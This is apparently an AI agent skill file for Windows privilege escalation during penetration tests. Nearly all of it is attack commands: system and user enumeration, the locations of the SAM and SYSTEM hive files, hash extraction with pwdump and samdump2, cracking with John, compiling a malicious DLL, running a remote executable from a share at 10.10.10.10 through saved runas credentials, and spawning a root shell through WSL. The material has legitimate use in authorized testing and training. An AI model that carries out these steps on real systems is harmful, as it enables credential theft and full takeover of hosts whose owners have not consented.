This skill should be used when the user asks to "escalate privileges on Windows," "find Windows privesc vectors," "enumerate Windows for privilege escalation," "exploit Windows misconfigurations," or "perform post-exploitation privilege escalation." It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments.
Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.
Inputs / Prerequisites
Initial Access: Shell or RDP access as standard user on Windows system
Enumeration Tools: WinPEAS, PowerUp, Seatbelt, or manual commands
Exploit Binaries: Pre-compiled exploits or ability to transfer tools
Knowledge: Understanding of Windows security model and privileges
Authorization: Written permission for penetration testing activities
Outputs / Deliverables
Privilege Escalation Path: Identified vector to higher privileges
Credential Dump: Harvested passwords, hashes, or tokens
Elevated Shell: Command execution as Administrator or SYSTEM
Vulnerability Report: Documentation of misconfigurations and exploits
Remediation Recommendations: Fixes for identified weaknesses
Core Workflow
1. System Enumeration
Basic System Information
# OS version and patches
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe
# Architecture
wmic os get osarchitecture
echo %PROCESSOR_ARCHITECTURE%
# Environment variables
set
Get-ChildItem Env: | ft Key,Value
# List drives
wmic logicaldisk get caption,description,providername
User Enumeration
# Current user
whoami
echo %USERNAME%
# User privileges
whoami /priv
whoami /groups
whoami /all
# All users
net user
Get-LocalUser | ft Name,Enabled,LastLogon
# User details
net user administrator
net user %USERNAME%
# Local groups
net localgroup
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name,PrincipalSource
Network Enumeration
# Network interfaces
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
# Routing table
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric
# ARP table
arp -A
# Active connections
netstat -ano
# Network shares
net share
# Domain Controllers
nltest /DCLIST:DomainName
Antivirus Enumeration
# Check AV products
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
2. Credential Harvesting
SAM and SYSTEM Files
# SAM file locations
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
# SYSTEM file locations
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
# Extract hashes (from Linux after obtaining files)
pwdump SYSTEM SAM > sam.txt
samdump2 SYSTEM SAM -o sam.txt
# Crack with John
john --format=NT sam.txt
# Use Windows Exploit Suggester
systeminfo > systeminfo.txt
python wes.py systeminfo.txt
# Or use Watson (on target)
Watson.exe
# Or use Sherlock PowerShell script
powershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1
# Find missing DLLs with Process Monitor
# Filter: Result = NAME NOT FOUND, Path ends with .dll
# Compile malicious DLL
# For x64: x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
# For x86: i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
Runas with Saved Credentials
# List saved credentials
cmdkey /list
# Use saved credentials
runas /savecred /user:Administrator "cmd.exe /k whoami"
runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\share\evil.exe"
WSL Exploitation
# Check for WSL
wsl whoami
# Set root as default user
wsl --default-user root
# Or: ubuntu.exe config --default-user root
# Spawn shell as root
wsl whoami
wsl python -c 'import os; os.system("/bin/bash")'
